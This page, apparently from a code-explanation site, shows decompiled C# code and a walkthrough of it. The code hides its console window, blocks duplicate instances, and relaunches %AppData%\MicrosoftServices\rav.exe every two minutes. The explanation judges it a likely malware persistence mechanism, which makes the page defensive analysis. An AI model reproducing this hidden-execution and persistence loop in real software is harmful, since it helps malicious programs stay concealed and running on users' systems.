This code demonstrates a C# program, which appears to be...

June 30, 2025 at 03:43 AM

namespace rac
{
	// Token: 0x02000002 RID: 2
	internal class Program
	{
		// Token: 0x06000001 RID: 1
		[DllImport("kernel32.dll")]
		private static extern IntPtr GetConsoleWindow();

		// Token: 0x06000002 RID: 2
		[DllImport("user32.dll")]
		private static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);

		// Token: 0x06000003 RID: 3 RVA: 0x00002050 File Offset: 0x00000250
		private static void Main(string[] args)
		{
			Console.BackgroundColor = ConsoleColor.White;
			IntPtr consoleWindow = Program.GetConsoleWindow();
			Program.ShowWindow(consoleWindow, 6);
			Program.ShowWindow(consoleWindow, 0);
			try
			{
				Process[] processesByName = Process.GetProcessesByName("rac");
				if (processesByName.Length > 1)
				{
					Environment.Exit(0);
				}
			}
			catch
			{
			}
			Thread.Sleep(30000);
			Program.ec();
		}

		// Token: 0x06000004 RID: 4 RVA: 0x000020B8 File Offset: 0x000002B8
		private static void ec()
		{
			try
			{
				Process[] processesByName = Process.GetProcessesByName("rav");
				if (processesByName.Length <= 0)
				{
					Process.Start(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "MicrosoftServices\\rav.exe"));
				}
			}
			catch
			{
			}
			Thread.Sleep(120000);
			Program.ec();
		}

		// Token: 0x04000001 RID: 1
		private const int SW_HIDE = 0;

		// Token: 0x04000002 RID: 2
		private const int SW_SHOW = 5;

		// Token: 0x04000003 RID: 3
		private const int SW_MIN = 6;
	}
}

This code demonstrates a C# program, which appears to be performing potentially harmful activity. Here's what the code does, broken down by sections:

1. Namespace and Class Definition

The code defines a namespace (rac) and a class (Program). It contains private methods, constants, and a Main method, which is the entry point of the program execution.

2. Import of External Functions

Two external Windows API functions are imported using [DllImport]:

GetConsoleWindow retrieves the handle to the current console window.
ShowWindow controls the visibility of the console window (show, minimize, hide, etc.).

3. `Main` Method:

The Main method performs the following actions:

Sets the console background color to white.
Retrieves the handle to the console window using GetConsoleWindow().
Calls ShowWindow(consoleWindow, 6) to minimize the console and then ShowWindow(consoleWindow, 0) to hide it (make the console window invisible).
Checks if another process with the name rac (likely the same program) is already running:
- Uses Process.GetProcessesByName("rac") to list running processes named rac.
- If more than one instance of the program is detected, it terminates using Environment.Exit(0).
Sleeps (pauses) the thread for 30,000 milliseconds (30 seconds).
Calls the method ec().

4. `ec` Method:

This method performs the following actions in a loop:

Again checks running processes, this time for processes named rav:
- If no such process exists (processesByName.Length <= 0), it attempts to start a program located at:
```
%AppData%\MicrosoftServices\rav.exe
```
  using Process.Start.
Sleeps (pauses) the thread for 120,000 milliseconds (2 minutes).
Calls itself recursively, effectively creating an indefinite loop.

5. Constants

Three constants are defined for use with the ShowWindow method:

SW_HIDE = 0: To hide the window.
SW_SHOW = 5: To show the window (not used in the code).
SW_MIN = 6: To minimize the window.

Analysis of Behavior

Hiding and Minimizing the Console: The program actively hides its console window to run in the background, making it less noticeable to the user.
Self-Monitoring: It ensures that multiple instances of the program (rac) are not running simultaneously.
Persistence and Recursion: The ec method repeatedly:
- Checks for the presence of a process named rav.
- Attempts to launch an executable located at %AppData%\MicrosoftServices\rav.exe if it doesn't find the rav process.
- Sleeps for 2 minutes and calls itself recursively, creating a persistent loop.
Suspected Malicious Intent:
- The behavior of trying to execute rav.exe from the user's %AppData% directory suggests that the program might be part of a malware or potentially unwanted program (PUP) with persistence mechanisms.
- Hiding the console window and running hidden processes are common tactics for malicious software.

Conclusion

This program appears to be engaging in questionable activity. It includes persistence mechanisms, hidden execution, and attempts to monitor or manage other processes (rav and rac). The specifics depend on what rav.exe actually does, but the code matches patterns used for malicious purposes like launching hidden programs or controlling the system.

Generate your own explanations

Download our vscode extension

Read other generated explanations

Built by @thebuilderjr